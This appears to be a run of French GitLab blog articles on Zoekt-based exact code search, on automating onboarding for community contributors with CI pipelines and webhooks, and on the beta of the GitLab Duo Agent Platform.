Lorsque vous basculez en mode de recherche par correspondance exacte, le moteur de recherche ne renvoie que les résultats qui correspondent exactement à votre requête, éliminant ainsi les faux positifs. Cette précision est inestimable dans les cas de figure suivants :

• Vous recherchez des messages d'erreur spécifiques.

• Vous recherchez des signatures de fonctions précises.

• Vous recherchez des instances de noms de variables spécifiques.

2. Un mode de recherche par expression régulière

Pour les recherches complexes, ce mode vous permet de créer des motifs de recherche sophistiqués :

• Trouvez des fonctions selon des motifs de nommage spécifiques.

• Déterminez l’emplacement des variables qui correspondent à certains critères précis.

• Identifiez les failles de sécurité potentielles à l'aide de la correspondance de motifs.

3. Des correspondances sur plusieurs lignes

En plus de la ligne contenant le code recherché, vous avez accès au contexte environnant qui est indispensable pour bien comprendre le code. Vous n'avez donc plus besoin d'accéder aux fichiers dans le seul but d'obtenir un contexte plus clair, ce qui accélère considérablement votre workflow.

Des fonctionnalités aux workflows : cas d'utilisation et impact associé

Examinons maintenant comment ces nouvelles capacités se traduisent dans le quotidien des équipes de développement  :

Débogage en quelques secondes

Voici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez copier un message d'erreur, lancer une recherche, parcourir une longue liste de correspondances partielles dans les commentaires, la documentation et les fragments de code, cliquer sur plusieurs fichiers... avant de trouver enfin la ligne de code que vous recherchiez.

Avec la recherche exacte de code, le processus est le suivant :

1. Vous copiez le message d'erreur exact.

2. Vous le collez dans la fonctionnalité de recherche exacte de code en activant le mode de recherche par correspondance exacte.

3. Vous trouvez instantanément l'emplacement précis où l'erreur est présente, avec le contexte environnant nécessaire à sa compréhension.

Impact : vous réduisez ainsi le temps de débogage de plusieurs minutes à quelques secondes, sans frustration ni faux positifs.

Exploration rapide de codes sources inconnus

Voici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez parcourir les répertoires, deviner l'emplacement probable des fichiers, ouvrir des dizaines de fichiers et élaborer peu à peu une compréhension globale du code source.

Avec la recherche exacte de code, le processus est le suivant :

• Vous recherchez directement les méthodes ou classes principales avec le mode de recherche par correspondance exacte.

• Vous examinez plusieurs correspondances de lignes pour comprendre les détails de leur mise en œuvre.

• Vous utilisez le mode de recherche par expression régulière pour identifier des motifs similaires dans l'ensemble du code source.

Impact : vous bénéficiez d'une vision claire de l'architecture du code en quelques minutes plutôt qu'en quelques heures, ce qui accélère considérablement l'intégration de nouveaux membres au sein de l'équipe ainsi que la collaboration transversale.

Refactorisation sécurisée

Voici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez localiser toutes les occurrences d'une méthode, mais certaines passaient inaperçues, et vous introduisiez des bogues en raison d'une refactorisation incomplète.

Avec la recherche exacte de code, le processus est le suivant :

• Vous utilisez le mode de recherche par correspondance exacte pour identifier toutes les occurrences de méthodes ou de variables.

• Vous examinez le contexte pour comprendre les motifs d'utilisation.

• Vous planifiez votre refactorisation avec des informations complètes sur son impact.

  Impact : vous éliminez les bogues liés aux « occurrences manquées » qui entravent souvent les efforts de refactorisation, vous améliorez la qualité du code et vous réduisez les ajustements nécessaires.

Audit de sécurité optimisé

Les équipes de sécurité peuvent :

• Créer des motifs regex ciblant les portions de code présentant des vulnérabilités connues

• Effectuer une recherche dans tous les dépôts d'un espace de nommage

• Identifier rapidement les failles de sécurité potentielles avec un contexte facilitant l'évaluation des risques

Impact : vous transformez vos audits de sécurité, souvent manuels et sujets aux erreurs, en revues systématiques et exhaustives.

Informations recoupées entre plusieurs dépôts

Vos équipes peuvent effectuer une recherche dans l'ensemble de votre espace de nommage ou de votre instance pour :

• Identifier des implémentations similaires dans différents projets

• Identifier des opportunités de création de bibliothèques partagées ou de standardisation du code

Impact : vous éliminez les silos entre les projets et identifiez les opportunités de réutilisation et de standardisation du code.

Zoekt : rapidité et précision au service du code

Avant de détailler nos réalisations à grande échelle, explorons ce qui distingue Zoekt des moteurs de recherche traditionnels, et pourquoi il peut trouver des correspondances exactes aussi rapidement.

Trigrammes positionnels : le secret d'une correspondance exacte ultra-rapide

La rapidité de Zoekt provient de son utilisation de trigrammes positionnels, une technique qui indexe chaque séquence de trois caractères en conservant leur position exacte dans les fichiers. Cette approche résout l'un des plus grands défis que les équipes de développement rencontrent avec la recherche de code basée sur Elasticsearch : les faux positifs.

Voici le principe :

Les moteurs de recherche plein texte traditionnels comme Elasticsearch segmentent le code en mots isolés et perdent ainsi les informations de position. Par exemple, lorsque vous recherchez getUserId(), ils peuvent renvoyer des résultats contenant les fragments user, get et Id dispersés dans un même fichier, ce qui génère des faux positifs, source de frustration pour les utilisateurs de GitLab.

Les trigrammes positionnels de Zoekt, quant à eux, conservent les séquences de caractères exactes ainsi que leurs positions dans le code. Ainsi, lorsque vous recherchez getUserId(), Zoekt cible précisément les trigrammes exacts, comme get, etU, tUs, Use, ser, erI, rId, Id(", "d(), dans cette séquence précise et à ces positions exactes. Cette approche garantit que seules les correspondances exactes sont renvoyées.

Ainsi, des recherches qui renvoyaient auparavant des centaines de faux positifs ne renvoient désormais plus que les correspondances exactes souhaitées. Cette fonctionnalité était l'une des plus demandées pour une bonne raison : les équipes de développement perdaient beaucoup trop de temps à passer au crible les faux positifs.

Performances des expressions régulières à grande échelle

Zoekt excelle dans la recherche de correspondances exactes, mais est également optimisé pour les recherches d'expressions régulières. Grâce à des algorithmes sophistiqués, il convertit les motifs regex en requêtes trigrammes efficaces lorsque cela est possible, garantissant ainsi une rapidité constante, même pour les recherches de motifs complexes portant sur plusieurs téraoctets de code.

Une fonctionnalité adaptée aux entreprises

La recherche exacte de code est puissante et conçue pour gérer de très grands volumes de code tout en offrant des temps de réponse remarquables. Il ne s'agit pas du simple ajout d'une nouvelle fonctionnalité à l'interface utilisateur, mais d'une architecture backend entièrement repensée.

Gestion de plusieurs téraoctets de code en toute simplicité

Rien que sur GitLab.com, notre infrastructure de recherche exacte de code indexe et interroge plus de 48 To de données de code, tout en offrant des temps de réponse ultra-rapides. Cette volumétrie couvre des millions de dépôts répartis dans des milliers d'espaces de nommage, tous consultables en seulement quelques millisecondes, soit plus de code que l'ensemble des projets du noyau Linux, d'Android et de Chromium combinés. Et pourtant, la recherche exacte de code peut trouver une ligne spécifique dans l'ensemble du code source en quelques millisecondes seulement.

Architecture de nœuds à enregistrement automatique

Parmi nos améliorations techniques, voici quelques innovations clés :

• Enregistrement automatique des nœuds : les nœuds Zoekt s'enregistrent automatiquement auprès de GitLab.

• Attribution dynamique des partitions : le système attribue automatiquement les espaces de nommage entre les nœuds.

• Surveillance de l'état : les nœuds qui ne s'enregistrent pas sont automatiquement signalés comme hors ligne.

Cette architecture à configuration automatique simplifie considérablement la montée en charge. Lorsque la capacité doit être augmentée, les administrateurs peuvent tout simplement ajouter de nouveaux nœuds, sans aucune reconfiguration complexe.

Système distribué avec répartition de charge intelligente

En arrière-plan, la recherche exacte de code repose sur un système distribué comprenant les composants clés suivants :

• Nœuds de recherche spécialisés : serveurs dédiés pour gérer l'indexation et la recherche

• Partitionnement intelligent : le code est réparti entre les nœuds en fonction des espaces de nommage

• Équilibrage automatique de la charge : le système répartit intelligemment le travail en fonction des capacités disponibles

• Haute disponibilité : plusieurs réplicas assurent la continuité du service même en cas de défaillance d'un nœud

Remarque : la haute disponibilité fait partie intégrante de l'architecture, mais n'est pas encore entièrement déployée. Consultez le ticket 514736 pour vous tenir au courant des futures mises à jour.

Intégration sans accroc de la sécurité

La recherche exacte de code s'intègre automatiquement au système d'autorisation de GitLab :

• Les résultats de recherche sont filtrés en fonction des droits d'accès de chaque utilisateur.

• Seul le code des projets auxquels l'utilisateur a accès est affiché.

• La sécurité est intégrée à l'architecture de base, et non ajoutée ultérieurement.

Performances optimisées

• Indexation performante : les dépôts volumineux sont indexés en quelques dizaines de secondes.

• Exécution rapide des requêtes : la plupart des recherches renvoient des résultats en moins d'une seconde.

• Résultats en streaming : la nouvelle recherche fédérée basée sur gRPC diffuse les résultats au fur et à mesure de leur découverte.

• Arrêt anticipé : dès qu'un nombre suffisant de résultats a été collecté, le système interrompt la recherche.

De la bibliothèque au système distribué : notre réponse aux défis d'ingénierie

Bien que Zoekt soit très performant pour indexer et rechercher du code localement, son architecture de base était conçue à l'origine comme une bibliothèque minimale, destinée à la gestion des fichiers d'index .zoekt, et non comme une base de données distribuée ou un service capable de fonctionner à l'échelle d'une entreprise.

Voici les principaux défis techniques que nous avons dû surmonter pour l'adapter pleinement à l'écosystème GitLab.

Défi 1 : création d'une couche d'orchestration

Le problème : Zoekt a été conçu pour fonctionner avec des fichiers d'index locaux, et non pour être distribué sur plusieurs nœuds desservant de nombreux utilisateurs simultanés.

Notre solution : nous avons développé une couche d'orchestration complète qui :

• crée et gère des modèles de base de données pour suivre les nœuds, les index, les dépôts et les tâches.

• met en œuvre une architecture de nœuds à enregistrement automatique (inspirée du fonctionnement de GitLab Runner).

• gère l'attribution automatique des partitions et l'équilibrage de la charge entre les nœuds.

• fournit une communication bidirectionnelle de l'API entre les nœuds GitLab Rails et Zoekt.

Défi 2 : mise à l'échelle du stockage et de l'indexation

Le problème : comment gérer efficacement des téraoctets de données d'indexation répartis sur plusieurs nœuds tout en garantissant des mises à jour rapides ?

Notre solution : nous avons déployé les fonctionnalités suivantes  :

• Partitionnement intelligent : les espaces de nommage sont répartis entre les nœuds en tenant compte de leur capacité et de leur charge.

• Réplication indépendante : chaque nœud est indexé indépendamment à partir de Gitaly (notre service de stockage Git), évitant ainsi toute synchronisation complexe.

• Gestion avancée des filigranes : un système sophistiqué d'allocation de stockage empêche les nœuds de manquer d'espace.

• Architecture binaire unifiée : un seul binaire gitlab-zoekt peut fonctionner à la fois en mode indexeur et en mode serveur web.

Défi 3 : intégration des autorisations

Le problème : Zoekt n'avait aucune notion du système d'autorisation complexe de GitLab. Les utilisateurs ne doivent voir que les résultats des projets auxquels ils ont accès.

Notre solution : nous avons intégré un filtrage des autorisations natif directement dans le flux de recherche :

• Les requêtes de recherche incluent le contexte des autorisations de l'utilisateur.

• Les résultats sont filtrés pour n’inclure que les éléments auxquels l'utilisateur peut accéder, même dans le cas où les autorisations évoluent avant la fin de l'indexation.

Défi 4 : simplification opérationnelle

Le problème : gérer un système de recherche distribué ne devrait pas nécessiter une équipe dédiée.

Notre solution :

• Mise à l'échelle automatique : l'ajout de capacité est aussi simple que le déploiement de nœuds supplémentaires. Ces derniers s'enregistrent automatiquement et gèrent immédiatement la charge de travail.

• Auto-réparation : les nœuds qui ne s'enregistrent pas sont automatiquement signalés comme hors ligne, avec redistribution automatique de leurs tâches.

• Partitionnement sans configuration : le système détermine automatiquement les affectations de partitions optimales.

Déploiement progressif : réduire les risques à grande échelle

Le déploiement d'un tout nouveau backend de recherche auprès de millions d'utilisateurs a nécessité une planification minutieuse. Voici comment nous avons limité l'impact sur les clients tout en garantissant la fiabilité :

Phase 1 : tests contrôlés (groupe gitlab-org)

Nous avons commencé par activer la recherche exacte de code uniquement pour le groupe gitlab-org, constitué de nos propres dépôts internes.

Cette étape nous a permis de :

• Tester le système avec des charges de travail réelles en production

• Identifier et corriger les goulots d'étranglement liés aux performances

• Rationaliser le processus de déploiement

• Tirer des enseignements concrets sur les workflows grâce aux retours d'utilisateurs

Phase 2 : validation et optimisation des performances

Avant d'étendre la fonctionnalité, nous nous sommes assurés que le système pouvait gérer la charge à l'échelle de GitLab.com. Pour cela, nous avons dû :

• Mettre en œuvre une surveillance et une gestion des alertes complètes

• Valider la gestion du stockage basée sur la croissance réelle des données en production

Phase 3 : expansion progressive auprès des clients

Nous avons progressivement ouvert l'accès à la recherche exacte de code aux clients désireux de l'essayer, afin de :

• Collecter leurs retours sur les performances et l'expérience utilisateur

• Affiner l'interface utilisateur de recherche en fonction des workflows réels des utilisateurs

• Optimiser les performances d'indexation (par exemple, les grands dépôts comme gitlab-org/gitlab sont désormais indexés en environ 10 secondes)

• Ajuster l'architecture en fonction des leçons tirées des premiers essais

• Augmenter massivement le débit d'indexation et améliorer le cycle de vie des transitions d'état

Phase 4 : déploiement à grande échelle

Aujourd'hui, plus de 99 % des groupes disposant des licences Premium et Ultimate sur GitLab.com ont accès à la recherche exacte de code.

Les utilisateurs peuvent :

• Basculer facilement entre les modes de recherche par expression régulière et par correspondance exacte

• Tirer parti des avantages sans modifier la configuration

• Revenir à l'ancienne méthode de recherche si nécessaire (bien que peu d'entre eux optent pour cette possibilité)

Ce déploiement progressif a permis d'éviter toute interruption de service, baisse de performances ou perte de fonctionnalités pendant la transition. Les premiers retours sont très positifs, car les utilisateurs constatent que leurs résultats de recherche sont plus pertinents et qu'ils les obtiennent beaucoup plus rapidement.

Vous souhaitez en savoir plus sur l'architecture et la mise en œuvre de la recherche exacte de code ? Consultez notre document de conception complet, qui offre une description technique détaillée de ce système de recherche distribué.

Premiers pas : comment lancer une recherche exacte de code ?

La prise en main de la recherche exacte de code est simple, car cette fonctionnalité est déjà activée par défaut pour les groupes Premium et Ultimate sur GitLab.com (accessibles aujourd'hui à plus de 99 % des groupes éligibles).

Guide de démarrage rapide

1. Accédez à la recherche avancée depuis votre projet ou groupe GitLab.

2. Saisissez votre terme de recherche dans l'onglet Code.

3. Basculez entre les modes de recherche par correspondance exacte et par expression régulière.

4. Utilisez des filtres pour affiner votre recherche.

Syntaxe de recherche de base

Que vous utilisiez le mode de recherche par correspondance exacte ou par expression régulière, vous pouvez affiner votre recherche avec divers modificateurs :

| Exemple de requête | Fonction |

| ------------------ | ---------------------------------------------------------------------- |

| file:js | Recherche uniquement dans les fichiers dont le nom contient « js » |

| foo -bar | Recherche « foo », mais exclut les résultats contenant « bar » |

| lang:ruby | Recherche uniquement dans les fichiers Ruby |

| sym:process | Recherche « process » dans les symboles (méthodes, classes, variables) |

Conseil : pour optimiser votre recherche, commencez par une requête précise, puis élargissez-la si besoin. L'utilisation des filtres file: et lang: augmente considérablement la pertinence des résultats.

Techniques de recherche avancées

Combinez plusieurs filtres pour gagner en précision :

is_expected file:rb -file:spec

Cette requête recherche « is_expected » dans les fichiers Ruby dont le nom ne contient pas « spec ».

Tirez parti des expressions régulières pour obtenir des motifs puissants :

token.*=.*[\"']

Consultez cette recherche effectuée dans le dépôt GitLab Zoekt.

Elle permet de trouver des mots de passe codés en dur qui, s'ils ne sont pas détectés, peuvent constituer un risque de sécurité.

Pour approfondir la syntaxe, consultez la documentation dédiée à la recherche exacte de code.

Disponibilité et déploiement

Disponibilité actuelle

La recherche exacte de code est actuellement disponible en version bêta pour les utilisateurs de GitLab.com disposant de licences Premium et Ultimate :

• Elle est accessible à plus de 99 % des groupes éligibles sous licence.

• La recherche dans l'interface utilisateur utilise automatiquement Zoekt lorsqu'il est disponible ; la recherche exacte de code via l'API de recherche est activée par le biais d'un feature flag.

Options de déploiement pour les instances Self-Managed

Pour les instances Self-Managed, nous proposons plusieurs méthodes de déploiement :

• Kubernetes/Helm : notre méthode la mieux prise en charge, basée sur notre Helm Chart gitlab-zoekt.

• Autres méthodes : nous travaillons actuellement sur la simplification du déploiement via Omnibus et d'autres options d'installation.

Les exigences en configuration système varient selon la taille de votre code source, mais l'architecture est conçue pour s'adapter horizontalement et/ou verticalement à mesure que vos besoins évoluent.

Prochaines étapes

Bien que la recherche exacte de code soit déjà performante, nous l'améliorons continuellement avec :

• Des optimisations à grande échelle pour gérer des instances comptant des centaines de milliers de dépôts

• Des options de déploiement renforcées pour les instances Self-Managed, y compris la prise en charge simplifiée d'Omnibus

• Une prise en charge complète de la haute disponibilité avec basculement automatique et équilibrage de la charge

Restez à l'écoute pour suivre les prochaines mises à jour lorsque nous passerons de la version bêta à la disponibilité générale.

Transformez votre façon de rechercher des lignes de code

Avec la recherche exacte de code, GitLab repense en profondeur la manière dont le code est exploré, en fournissant des correspondances exactes, une prise en charge avancée des expressions régulières et des résultats contextuels.

Cette nouvelle fonctionnalité résout les aspects les plus frustrants de la recherche de code :

• Ne perdez plus votre temps avec des résultats non pertinents.

• Ne ratez plus aucune correspondance importante.

• N'ouvrez plus plusieurs fichiers juste pour comprendre le contexte de base.

• Ne subissez plus de problèmes de performances à mesure que la taille de vos dépôts de code augmente.

L'impact s'étend même bien au-delà, à la productivité globale des équipes :

• Vos équipes collaborent plus efficacement avec un référencement clair du code.

• Le partage des connaissances s'accélère avec la détection facile des motifs.

• L'intégration des nouveaux membres d'équipe s'accélère avec une compréhension rapide du code source.

• La sécurité est renforcée avec un audit efficace des motifs.

• Une réduction de la dette technique devient réellement envisageable.

La recherche exacte de code est plus qu'une simple fonctionnalité : elle vous permet de mieux comprendre et de gérer le code. Alors, arrêtez de chercher et commencez à trouver !

Nous serions ravis de connaître votre avis. Partagez vos expériences, vos questions ou vos commentaires sur la recherche exacte de code dans notre ticket dédié aux retours d'expérience. Vos retours nous aident à hiérarchiser nos priorités d'améliorations et à enrichir nos futures fonctionnalités.

Vous souhaitez tirer parti d'une recherche de code plus intelligente ? Pour en savoir plus, consultez notre documentation et essayez dès aujourd'hui notre nouvelle fonctionnalité en effectuant une recherche dans vos espaces de nommage ou vos projets disposant d'une licence Premium ou Ultimate. Vous n'utilisez pas encore GitLab ? Inscrivez-vous pour un essai gratuit de GitLab Ultimate enrichi des capacités de GitLab Duo !

Nous avons commencé à effectuer des recherches sur les contributeurs open source de GitLab. Puis nous avons amélioré les obstacles majeurs. En janvier, nous avons atteint un record de 184 contributeurs communautaires uniques à GitLab en un seul mois, dépassant pour la première fois notre objectif de 170 fixé par l'équipe.

Trois mois plus tard, nous l'avons de nouveau battu avec 192 contributeurs.

Voici comment nous avons utilisé les propres outils de GitLab pour résoudre le dilemme des nouveaux contributeurs et développer notre communauté open source.

Ce que nous avons appris sur les nouveaux contributeurs

En 2023, nous avons mené la toute première étude sur les contributeurs open source de GitLab. Nous avons observé six participants qui n'avaient jamais contribué à GitLab.

Voici ce qu’ils nous ont dit :

• La documentation destinée aux contributeurs était confuse

• La prise en main était difficile

• Trouver de l’aide n'était pas clair

Seul un participant sur six a réussi à fusionner une contribution de code dans GitLab au cours de l'étude.

Il est devenu évident que nous devions nous concentrer sur l'expérience d'intégration si nous voulions que les nouveaux contributeurs réussissent à faire leurs premiers pas sur GitLab. Nous avons donc itéré !

Notre équipe a passé l'année suivante à résoudre leurs défis. Nous avons utilisé les outils de GitLab, tels que les templates de tickets, les pipelines programmés, les webhooks et le GitLab Query Language (GLQL), pour construire une solution d'intégration innovante et semi-automatisée.

En 2025, nous avons effectué une étude de suivi des utilisateurs avec de nouveaux participants qui n'avaient jamais contribué à GitLab. Les 10 participants ont tous créé et fusionné avec succès des contributions dans GitLab, avec un taux de réussite de 100 %. Les retours ont montré une grande appréciation pour le nouveau processus d'intégration, la rapidité avec laquelle les chargés de maintenance vérifiaient le travail des contributeurs, et la reconnaissance que nous offrions aux contributeurs.

Création d’une intégration personnalisée

Notre solution a commencé par l'engagement. Pour aider les nouveaux contributeurs à se lancer, nous avons mis en place un processus d'intégration personnalisé connectant chaque contributeur avec un chargé de maintenance communautaire.

Nous avons créé un template de ticket avec une liste claire de tâches.

Le ticket d'intégration gère également l'approbation d'accès aux forks de la communauté de GitLab, une collection de projets partagés qui facilitent le push de modifications, la collaboration entre contributeurs, et l'accès aux fonctionnalités GitLab Ultimate et GitLab Duo.

En utilisant des labels à portée limitée, nous indiquons le statut de la demande d'accès pour faciliter le suivi par les chargés de maintenance.

Nous avons commencé avec un script Ruby exécuté via un pipeline programmé, vérifiant les nouvelles demandes d'accès et utilisant le template de ticket pour créer des tickets d'intégration personnalisés.

À partir de là, nos chargés de maintenance collaborent avec les nouveaux contributeurs pour vérifier l'accès, répondre aux questions et trouver des tickets.

Standardisation des réponses avec des templates de commentaires

Avec plusieurs chargés de maintenance dans la communauté de GitLab, nous voulions assurer une communication cohérente et claire.

Nous avons créé des templates de commentaires, que nous synchronisons avec le dépôt en utilisant l'API GraphQL et un script Ruby.

Le script est déclenché dans le fichier .gitlab-ci.yml lorsque des modifications de templates de commentaires sont apportées avec un push vers la branche par défaut (un test est déclenché dans les merge requests).

execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == "trigger"
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE

Suppression du temps d'attente de 5 minutes

Notre première itération était un peu lente. Après avoir commencé le processus d'intégration, les contributeurs se demandaient ce qu’il fallait faire ensuite, tandis que le pipeline programmé prenait jusqu'à 5 minutes pour créer leur ticket d'intégration.

Niklas, un membre de notre équipe Core, a trouvé une solution. Il a ajouté des événements webhook pour les demandes d'accès et des templates de charge utile personnalisés pour les webhooks.

Ces fonctionnalités combinées nous ont permis de déclencher un pipeline immédiatement. Cela réduit le temps à environ 40 secondes (le temps qu'il faut au pipeline CI pour s'exécuter) et génère le ticket d'intégration immédiatement. Cette action économise également des milliers de pipelines et de minutes de calcul lorsqu’aucune demande d'accès n’a besoin d'être traitée.

Nous avons configuré un token de déclenchement de pipeline et l'avons utilisé comme cible pour le webhook, en passant les variables d'environnement souhaitées :

{
  "ref": "main",
  "variables": {
    "EXECUTE_ACCESS_REQUESTS": "1",
    "DRY_RUN": "0",
    "PIPELINE_NAME": "Create onboarding issues",
    "GROUP_ID": "{{group_id}}",
    "EVENT_NAME": "{{event_name}}"
  }
}

Automatisation des suivis

Avec un volume croissant de clients et de contributeurs à la communauté GitLab, les chargés de maintenance avaient du mal à suivre les tickets qui nécessitaient une attention particulière et certaines questions de suivi se perdaient.

Nous avons mis en œuvre une automatisation utilisant les webhooks et Ruby pour labeliser les tickets mis à jour par les membres de la communauté. Cela crée un signal clair du statut du ticket pour les chargés de maintenance.

GitLab Triage relance automatiquement les tickets d'intégration inactifs afin de maintenir cette dynamique.

Organisation du suivi des tickets avec GLQL

Nous avons construit une vue GitLab Query Language (GLQL) pour garder une trace de l'ensemble des tickets. Ce tableau GLQL recense les tickets d'intégration qui nécessitent une attention particulière, permettant aux chargés de maintenance de les examiner et de les suivre avec les membres de la communauté.

Ces vues GLQL ont amélioré notre efficacité globale de classement. Le succès a été tel que nous avons fini par utiliser cette stratégie dans les programmes GitLab pour l’open source et GitLab pour l'éducation. Avec les tableaux GLQL pour les tickets d’assistance, ces programmes communautaires ont réduit leurs temps de réponse de 75 %.

Meilleure accessibilité du README

Le groupe @gitlab-community est l’espace dédié aux contributeurs sur Gitlab.com. Nous avions déjà un fichier README.md expliquant les forks de la communauté et le processus d'intégration, mais ce fichier vivait dans un projet meta. Avec notre étude de suivi des utilisateurs, nous avons découvert que cette séparation désorientait les nouveaux contributeurs quand leurs tickets d'intégration se trouvaient dans un projet différent.

Nous avons alors utilisé la mise en miroir de projet de GitLab pour résoudre cela et mis en miroir le projet meta vers gitlab-profile. Cela a fait remonter le fichier README existant au niveau du groupe, le rendant plus facile d'accès.

Les résultats parlent d'eux-mêmes

En utilisant GitLab nous-mêmes, nous avons amélioré les points de friction identifiés dans nos études et transformé le parcours des contributeurs de GitLab. Nous avons augmenté le nombre de clients et de membres de la communauté contribuant à GitLab, ajoutant des fonctionnalités au produit, résolvant des bogues, et enrichissant notre catalogue CI/CD.

Notre processus d'intégration a augmenté le taux d'adhésion des nouveaux contributeurs au sein de notre communauté, et le nombre total de contributeurs sur les forks de la communauté a doublé au cours des 9 derniers mois.

Nous avons réduit le temps nécessaire aux nouveaux contributeurs pour apporter leur première contribution en les connectant plus rapidement avec les chargés de maintenance et en les aidant à démarrer.

Nous utilisons l’analyse de la chaîne de valeur de GitLab pour suivre nos taux de réponse.

• Le délai avant première réponse des chargés de maintenance de la communauté est descendu à 46 minutes au cours des 3 derniers mois

• Le temps d'approbation moyen pour l'accès aux forks de la communauté est descendu à 1 heure au cours des 3 derniers mois

Le taux de réussite de 100 % de notre étude de suivi des utilisateurs de 2025 a confirmé ces améliorations pour nos contributeurs novices.

Meilleure reconnaissance des contributeurs

Corriger les défis rencontrés par nos nouveaux contributeurs nous a permis de nous concentrer sur une meilleure reconnaissance de notre communauté, incitant les novices à revenir. Le résultat : contributors.gitlab.com. Nous avons construit un hub central pour nos contributeurs qui comprend des tableaux de classement, des réalisations et des récompenses. Les contributeurs peuvent voir leur impact, suivre leurs progrès et grandir au sein de la communauté.

Partager ce que nous avons appris

Ces améliorations fonctionnent et sont reproductibles pour d'autres projets open source. Nous partageons notre approche pour que d'autres projets puissent envisager d'utiliser ces outils pour se développer.

Au fur et à mesure que les organisations prennent connaissance des obstacles à la participation, il est possible de créer un environnement open source plus convivial. Avec les outils de GitLab, nous pouvons offrir une expérience plus fluide aux contributeurs et aux chargés de maintenance.

Contactez-nous

Vous voulez en savoir plus sur le développement de votre communauté de contributeurs ? Envoyez un e-mail à contributors@gitlab.com ou créez un ticket pour démarrer une discussion. Nous sommes là pour aider à construire des communautés.

Chez GitLab, nous réinventons l'avenir de l'ingénierie logicielle comme une collaboration entre humains et intelligence artificielle. Les équipes de développement se concentrent sur la résolution de problèmes techniques complexes et l'innovation, tandis que les agents d'IA gèrent les tâches routinières et répétitives qui ralentissent l’avancée des projets. Les développeurs sont libres d'explorer de nouvelles idées à moindre coût, les bogues de backlogs appartiennent au passé, et les utilisateurs des logiciels que vous créez profitent d'une expérience plus fluide, fiable et sécurisée. Ceci n'est pas un rêve lointain, et nous construisons cette réalité aujourd'hui avec GitLab Duo Agent Platform.

Qu'est-ce que GitLab Duo Agent Platform ?

GitLab Duo Agent Platform est notre plateforme d'orchestration DevSecOps nouvelle génération conçue pour permettre une collaboration asynchrone entre les équipes de développement et les agents d'IA. Cette plateforme transformera votre workflow de développement, passant de processus linéaires isolés à une collaboration dynamique où des agents d'IA spécialisés travaillent à vos côtés et avec votre équipe à chaque étape du cycle de vie du développement logiciel.

Imaginez déléguer une tâche de refactorisation complexe à un Software Developer Agent tout en ayant simultanément un Security Analyst Agent qui recherche des vulnérabilités et un Deep Research Agent qui analyse les progrès à travers l'historique de votre dépôt. Tout cela se déroule en parallèle, orchestré de manière transparente dans GitLab.

Aujourd'hui, nous annonçons le lancement de la première version bêta publique de GitLab Duo Agent Platform pour les clients GitLab.com et GitLab Self-Managed (GitLab Premium et Ultimate). Il s'agit seulement de la première d'une série de mises à jour qui amélioreront la façon dont les logiciels sont planifiés, compilés, vérifiés et déployés, tandis que nous amplifions l'ingéniosité humaine grâce à l'automatisation intelligente.

Cette première version bêta se concentre sur l’amélioration de l'expérience IDE via l'extension GitLab VS Code et le plug-in JetBrains IDEs. Le mois prochain, nous prévoyons d'apporter l'expérience Duo Agent Platform à l'application GitLab et d'étendre la prise en charge de l'IDE. Permettez-moi de partager un peu plus notre vision de la roadmap d'ici à la disponibilité générale, prévue pour la fin de l’année. Vous trouverez les détails sur la première version bêta ci-dessous.

Regardez cette vidéo ou lisez la suite de cet article pour découvrir ce qui est désormais disponible et ce qui est à venir. Ensuite, si vous êtes prêt à démarrer avec Duo Agent Platform, découvrez comment faire vos premiers pas sur la version bêta publique.

<div style="padding:56.25% 0 0 0;position:relative;"><iframe src="https://player.vimeo.com/video/1101993507?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479" frameborder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerpolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="GitLab Agent Platform Beta Launch_071625_MP_v2"></iframe></div><script src="https://player.vimeo.com/api/player.js"></script>

La position de GitLab en tant que plateforme d'orchestration

GitLab se trouve au cœur du cycle de vie du développement en tant que système d'enregistrement pour les équipes d'ingénierie, orchestrant l'ensemble du parcours, du concept à la production, pour plus de 50 millions d'utilisateurs enregistrés, dont la moitié des entreprises du classement Fortune 500. Cela comprend plus de 10 000 clients payants dans tous les segments et secteurs d’activité, y compris les institutions publiques.

Ce qui donne à GitLab un avantage qu'aucun concurrent ne peut égaler : une compréhension complète de tout ce qu'il faut pour livrer des logiciels. Nous rassemblons vos projets, votre code, vos tests, vos scans de sécurité, vos contrôles de conformité et vos configurations CI/CD au sein d'un seul et même endroit. De cette manière, vous améliorez la productivité de votre équipe et orchestrez la collaboration avec les agents d'IA que vous contrôlez.

En tant que plateforme DevSecOps intelligente et unifiée, GitLab stocke tout le contexte de votre pratique d'ingénierie logicielle en un seul endroit. Nous exposerons ces données unifiées aux agents d'IA via notre graphe de connaissances. Chaque agent que nous construisons a automatiquement accès à cet ensemble de données connecté au SDLC, fournissant un contexte riche pour que les agents puissent faire des recommandations éclairées et prendre des actions qui respectent vos normes organisationnelles.

Voici un exemple de cet avantage en action. Avez-vous déjà essayé de comprendre exactement comment un projet progresse à travers des dizaines, voire des centaines de commentaires et de tickets traités par tous les développeurs impliqués ? Notre Deep Research Agent exploite le graphe de connaissances de GitLab et les capacités de recherche sémantique pour parcourir votre epic et tous les tickets connexes, explorer le code source associé et le contexte environnant. Il corrèle rapidement les informations à travers vos dépôts, merge requests et historique de déploiement. Cela fournit des informations essentielles que les outils autonomes ne peuvent égaler et que les développeurs humains mettraient des heures à découvrir.

